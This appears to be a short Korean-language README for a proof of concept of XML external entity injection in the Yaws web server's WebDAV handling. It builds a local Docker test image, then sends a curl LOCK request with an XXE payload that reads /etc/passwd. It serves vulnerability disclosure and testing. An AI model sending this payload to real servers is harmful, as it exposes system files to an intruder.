vulnbe/poc-yaws-dav-xxeYaws 웹 서버 XML 외부 엔티티 주입 PoC
테스트 이미지 빌드:
docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile .
및/또는
컨테이너 실행 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod
그런 다음 실행:
curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout: Second-1' \
--data-binary @- << EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<d:lockinfo xmlns:d="DAV:">
<d:lockscope><d:exclusive/></d:lockscope>
<d:locktype><d:write/></d:locktype>
<d:owner>
<d:href><r>&sp;</r></d:href>
</d:owner>
</d:lockinfo>
EOF
Alexey Pronin (@vulnbe)